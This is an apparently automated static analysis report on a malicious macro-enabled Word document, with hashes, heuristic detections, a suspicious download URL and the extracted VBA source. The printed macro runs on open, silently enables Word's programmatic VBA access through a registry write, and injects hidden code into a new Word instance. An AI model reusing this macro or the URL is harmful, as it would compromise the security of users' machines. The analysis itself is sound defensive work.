Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 94f796094ecf055f…

MALICIOUS

Office (OOXML)

168.5 KB Created: 2021-04-27 05:36:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-04
MD5: f72c4b5b34491b9a18eb66c8251b2a25 SHA-1: 6ace91b0ec4129a20ca3b69622f32edf8dfd950a SHA-256: 94f796094ecf055f81be48a2adc2d94b77a3f42758edea27d9a8573aa7d239bc
232 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    CreateObject("wscript.shell").RegWrite varLoad, 1, "REG_DWORD"
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    clearWindow.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString memConvert
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set viewGlobalSwap = CreateObject("msxml2.domdocument")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://alone-pham2010.com/bijol/84491/3h5qDHNACbWVZkgMceY0duMWvbVq3U/jMyVfmZ7lMCfzAbEoVSbLlq9aX3rzmtmrEUMKp4/95475/18931/eY/YEJczWKH72PYbHirT716P1j/7941/fozu11?eExpp=EubkJ7D&time=oOCkwdDlC&=NWvACcxddQXF9A4pxFKoXNj5&cid=tMy00S7kFoCVUofDJvJ&OigpUEn=S1Ysk8q6lbxCwUF&=GEeKTBtN9jenOdCKI&sid=c5b77s25NVTG6slDmw In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2518 bytes
SHA-256: a0913d55e05a414ec4742b3925a8b54703fe5fdd4397f7f60fc9c84c6426c71c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{7E7C7197-F263-429A-99FE-446934699CE3}{71452E6E-7E4E-4056-A273-6A3B079FABFD}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "counterWindowNamespace"
Sub autoopen()
sizeArgumentLeft
Dim queryCollectionCounter As String
queryCollectionCounter = globalBufferPaste
pasteMain queryCollectionCounter
End Sub

Attribute VB_Name = "clearLib"
Function titleLocalTrust(bufScreenRequest As String) As Variant
Dim viewGlobalSwap As Object
Dim listClearGeneric As Object
Set viewGlobalSwap = CreateObject("msxml2.domdocument")
Set listClearGeneric = viewGlobalSwap.createElement("code")
listClearGeneric.DataType = "bin.base64"
listClearGeneric.Text = bufScreenRequest
titleLocalTrust = listClearGeneric.nodeTypedValue
End Function

Attribute VB_Name = "lenLeft"
Sub pasteMain(memConvert As String)
Set listVbButton = CreateObject("word.application")
Set clearWindow = listVbButton.Documents.Add
clearWindow.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString memConvert
listVbButton.Visible = False
listVbButton.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "storageWindowIterator"
Function AIteratorRequest() As String
AIteratorRequest = Application.Version
End Function
Sub sizeArgumentLeft()
bufCopy = StrConv(titleLocalTrust("SEtFWV9DVVJSRU5UX1VTRVJcU29mdHdhcmVcTWljcm9zb2Z0XE9mZmljZVw="), vbUnicode)
arrayGeneric = AIteratorRequest
valueRepo = StrConv(titleLocalTrust("XFdvcmRcU2VjdXJpdHlcQWNjZXNzVkJPTQ=="), vbUnicode)
varLoad = bufCopy & arrayGeneric & valueRepo
CreateObject("wscript.shell").RegWrite varLoad, 1, "REG_DWORD"
End Sub
Public Function loadWindowSize(ByVal textboxQueryBuf As String) As String
For queryDocument = 1 To Len(textboxQueryBuf) Step 2
removeSwap = Chr$(Val("&H" & Mid$(textboxQueryBuf, queryDocument, 2)))
textProcedure = textProcedure & removeSwap
Next queryDocument
loadWindowSize = textProcedure
End Function
Function globalBufferPaste()
globalBufferPaste = UserForm1.TextBox1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 26112 bytes
SHA-256: 55b9495c01475e81e1aa90c766508b042c52e5c4881dbe8b588ec0c41415b18f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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